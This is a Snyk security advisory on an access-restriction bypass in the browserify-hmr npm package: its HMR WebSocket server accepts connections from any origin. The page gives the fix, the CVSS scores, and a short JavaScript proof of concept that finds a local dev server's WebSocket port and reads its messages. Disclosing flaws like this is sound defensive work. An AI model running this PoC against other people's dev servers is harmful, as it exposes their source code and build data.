Access Restriction Bypass Affecting browserify-hmr package, versions <0.4.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.43% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-BROWSERIFYHMR-173684
  • published 13 Feb 2019
  • disclosed 21 Sep 2018
  • credit chromium1337

How to fix?

Upgrade browserify-hmr to version 0.4.0 or higher.

Overview

browserify-hmr is an implementation of Webpack's Hot Module Replacement API as a plugin for Browserify.

Affected versions of this package are vulnerable to Access Restriction Bypass. The origin of requests was not checked by the WebSocket server, which is used for HMR (Hot Module Replacement). Anyone could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:3123/ connection from any origin.

POC

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
    r.text().then(r => {
        let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
        fetch(`${target}${scriptSrc}`).then(r => {
            r.text().then(r => {
                let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
                wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
                ws = new WebSocket(wsTarget);
                ws.onmessage = event => {
                    console.log(event.data)
                };
            })
        })
    })
});

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

7.5 high